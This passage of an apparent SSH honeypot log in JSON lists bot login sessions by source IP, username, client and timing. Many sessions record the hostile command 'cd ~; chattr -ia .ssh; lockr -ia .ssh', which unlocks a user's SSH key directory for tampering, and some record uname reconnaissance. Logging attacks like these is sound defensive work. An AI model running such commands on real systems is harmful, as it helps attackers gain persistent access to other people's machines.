  "name": "frank-feral-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42780,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:36.783589+00:00",
  "ended_at": "2026-08-27T11:41:37.959426+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54294cd6-670b-4ab6-861c-0b29f6c10a55",
  "name": "keen-rustic-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 44386,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:15.478804+00:00",
  "ended_at": "2026-08-27T11:41:16.852015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7cb3331f-7b20-4bb9-a510-13575e2e5265",
  "name": "meadow-vernal-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 44380,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:13.557227+00:00",
  "ended_at": "2026-08-27T11:41:14.960513+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d4b415a-43b3-43d8-a0cb-ff2a3ce124f5",
  "name": "hazel-buoyant-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 60424,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:12.249331+00:00",
  "ended_at": "2026-08-27T11:41:14.246162+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2110
 },
 {
  "id": "31d174b1-418d-451c-9d0b-0eaeaaf9e9e9",
  "name": "dusky-blazing-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60456,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:40:52.124123+00:00",
  "ended_at": "2026-08-27T11:40:53.758016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d4a1bd90-8c1d-4d39-9c17-06a201bebb1b",
  "name": "bronzed-hollow-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60440,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:40:50.902080+00:00",
  "ended_at": "2026-08-27T11:40:51.546010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24937af2-096c-4ff1-a67d-f286b6990457",
  "name": "dusky-shaded-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 33868,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 678,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:40:30.965289+00:00",
  "ended_at": "2026-08-27T11:40:31.315707+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "3714f82b-a475-4738-8c29-603e0ca03865",
  "name": "hazy-merry-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59156,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 448,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:40:03.459700+00:00",
  "ended_at": "2026-08-27T11:40:05.021398+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2221
 },
 {
  "id": "ae469160-671c-4a28-ba45-450fa52a6ad1",
  "name": "orderly-quartz-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 56544,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1010,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:39:50.876941+00:00",
  "ended_at": "2026-08-27T11:39:53.188496+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2220
 },
 {
  "id": "6c88573f-8a22-4ed1-b088-8da98ed44743",
  "name": "sandy-rapid-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59180,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:46.361529+00:00",
  "ended_at": "2026-08-27T11:39:47.493538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "361e572b-70bf-4a65-9398-c0652fd7cc6b",
  "name": "scarlet-merry-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59168,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:44.196211+00:00",
  "ended_at": "2026-08-27T11:39:45.470199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b68326b-5aa3-401b-bd27-1a060294ab3f",
  "name": "jovial-obsidian-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 49492,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:39:40.711783+00:00",
  "ended_at": "2026-08-27T11:39:41.785704+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c7e5c538-5e71-4316-88a3-6cec527521d5",
  "name": "silent-gleaming-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38154,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:22.242609+00:00",
  "ended_at": "2026-08-27T11:39:24.347879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86224a99-aacc-4095-838d-41b2726722ca",
  "name": "solar-lanky-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38138,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:18.959719+00:00",
  "ended_at": "2026-08-27T11:39:20.223338+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1cc17c7c-dda8-419b-925f-9e924ee6e7bf",
  "name": "smooth-murky-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58368,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:16.675248+00:00",
  "ended_at": "2026-08-27T11:39:18.597651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2d21b7f-5ce7-496c-baa9-b573d778d7cc",
  "name": "rugged-eager-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 49496,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:14.899169+00:00",
  "ended_at": "2026-08-27T11:39:16.148922+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faae66eb-6f6c-4422-bff1-f43d752da64c",
  "name": "burly-clever-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 60628,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:39:06.381638+00:00",
  "ended_at": "2026-08-27T11:39:08.291010+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2107
 },
 {
  "id": "1b6fcaf2-7bd9-4e22-b224-dba5d5143c0c",
  "name": "sleepy-lucid-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60652,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:38:53.096185+00:00",
  "ended_at": "2026-08-27T11:38:53.796615+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1531b84e-0a84-41dc-b696-10e78449c18d",
  "name": "oaken-rustic-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60644,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:38:51.241544+00:00",
  "ended_at": "2026-08-27T11:38:52.496327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cfa3a5a-651c-4953-aec2-2d764a29de42",
  "name": "drifting-amiable-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:38:02.282253+00:00",
  "ended_at": "2026-08-27T11:38:04.558531+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "30bd727b-c2f6-4a58-b232-e3b74bfed317",
  "name": "frank-prairie-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41486,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:47.599999+00:00",
  "ended_at": "2026-08-27T11:37:48.448226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6292ff9a-9eca-44b2-a577-29397a8e49ad",
  "name": "loyal-tender-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41476,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:44.962057+00:00",
  "ended_at": "2026-08-27T11:37:46.659718+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd3b0015-fb4b-40cd-99fa-6a8b36ea71d4",
  "name": "barren-gnarled-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 37934,
  "username": "ram",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:37:42.249902+00:00",
  "ended_at": "2026-08-27T11:37:43.573831+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "7721f4ad-4e82-489a-bbb8-fabdb93f19bd",
  "name": "steady-freckled-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59126,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:37:28.743030+00:00",
  "ended_at": "2026-08-27T11:37:30.363744+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2211
 },
 {
  "id": "a8bab4da-5c63-4917-a9b5-0f11e398c791",
  "name": "sleepy-marine-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36524,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 952,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:37:23.017820+00:00",
  "ended_at": "2026-08-27T11:37:23.297832+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "bfedcf37-8249-4912-8d27-b9092322714e",
  "name": "downy-tender-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37948,
  "username": "ram",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:20.974922+00:00",
  "ended_at": "2026-08-27T11:37:21.764008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4987e1cb-8c64-44df-92f7-a75cb92615d7",
  "name": "cheerful-umber-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37946,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:18.635570+00:00",
  "ended_at": "2026-08-27T11:37:20.449330+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aabbf096-4217-4e17-88bf-ed63e4672b81",
  "name": "thrifty-umber-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 33370,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:37:15.360384+00:00",
  "ended_at": "2026-08-27T11:37:16.737688+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "7d73f8c0-875f-4198-b988-604b073effbc",
  "name": "vernal-cunning-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59152,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:10.653926+00:00",
  "ended_at": "2026-08-27T11:37:12.109461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5040bd3-9ccb-42dd-8953-1418db31313d",
  "name": "pleasant-creaky-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59138,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:08.316295+00:00",
  "ended_at": "2026-08-27T11:37:09.729003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a113cc95-582b-4d2c-814c-e29448ae829b",
  "name": "lanky-civil-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46048,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:57.295595+00:00",
  "ended_at": "2026-08-27T11:36:59.200707+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfc4bd2b-d7d2-4909-869e-dd8260b74390",
  "name": "cunning-bashful-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54944,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 733,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:36:56.632904+00:00",
  "ended_at": "2026-08-27T11:36:57.998390+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "869d2462-044d-45f2-b29e-c414c442f332",
  "name": "rapid-fearless-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:55.202655+00:00",
  "ended_at": "2026-08-27T11:36:56.700372+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0159a5b6-b8fb-4ad4-a291-95b17c2b13d5",
  "name": "mindful-fleeting-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47672,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:33.754902+00:00",
  "ended_at": "2026-08-27T11:36:35.080416+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2396ed89-2154-435f-8332-d1b021c1dc29",
  "name": "fierce-feathered-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47656,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:30.122746+00:00",
  "ended_at": "2026-08-27T11:36:32.236252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cbd5b6dc-9f75-425d-995c-e3c96f367da3",
  "name": "thorny-humble-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 58122,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:53.031371+00:00",
  "ended_at": "2026-08-27T11:35:54.476890+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2078
 },
 {
  "id": "972cfab2-cae0-46fa-8917-c5bc113c95f1",
  "name": "crystal-civil-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 58178,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:38.853087+00:00",
  "ended_at": "2026-08-27T11:35:40.500507+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "782746cf-f575-4776-b1d8-d75649b41f05",
  "name": "drifting-tranquil-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 58138,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:37.753414+00:00",
  "ended_at": "2026-08-27T11:35:39.710735+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b09ccb2a-3af7-4298-95fb-7b961bf83b7e",
  "name": "northern-lunar-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 58126,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:36.053600+00:00",
  "ended_at": "2026-08-27T11:35:37.099961+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6a8edee-05f4-4eb7-84f9-da2c45952ab5",
  "name": "idle-stoic-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58196,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:13.431318+00:00",
  "ended_at": "2026-08-27T11:35:14.124879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ee2dc75-00d8-44cb-bb80-f67c2bde8732",
  "name": "shaded-thawing-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:12.681924+00:00",
  "ended_at": "2026-08-27T11:35:14.122034+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "7fd364aa-e245-4671-8fca-0e93cdff628a",
  "name": "nameless-glacial-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58192,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:12.300014+00:00",
  "ended_at": "2026-08-27T11:35:12.911744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0a19585-c39f-4eee-b233-1154fde4c862",
  "name": "verdant-ancient-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40176,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:55.467089+00:00",
  "ended_at": "2026-08-27T11:34:57.398548+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bb78e4b-048c-4272-af62-d25eb97e7c14",
  "name": "deft-dusty-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52958,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:53.014665+00:00",
  "ended_at": "2026-08-27T11:34:54.867534+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "179f1b43-15f9-4ddc-bfe6-fc456e9b1d7a",
  "name": "gallant-arctic-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59104,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:34:39.408017+00:00",
  "ended_at": "2026-08-27T11:34:40.897661+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2203
 },
 {
  "id": "b660f48b-5430-4788-b1c2-74b53fa238b7",
  "name": "electric-lanky-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51160,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:30.167493+00:00",
  "ended_at": "2026-08-27T11:34:31.154217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5df10cb-ac36-473a-a18b-50a4fe18baad",
  "name": "frosty-windswept-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 50576,
  "username": "nxt",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:34:22.422377+00:00",
  "ended_at": "2026-08-27T11:34:22.522760+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "b15736ba-104a-43d4-8a50-fdc02741c9fd",
  "name": "hearty-craggy-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59116,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:20.355705+00:00",
  "ended_at": "2026-08-27T11:34:22.165361+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f087a340-f1ad-4e40-8fc6-be88f0749ff3",
  "name": "creaky-breezy-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59110,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:18.795561+00:00",
  "ended_at": "2026-08-27T11:34:19.476745+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36cad379-618a-4ef8-8009-7844660056b8",
  "name": "jaunty-quaint-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
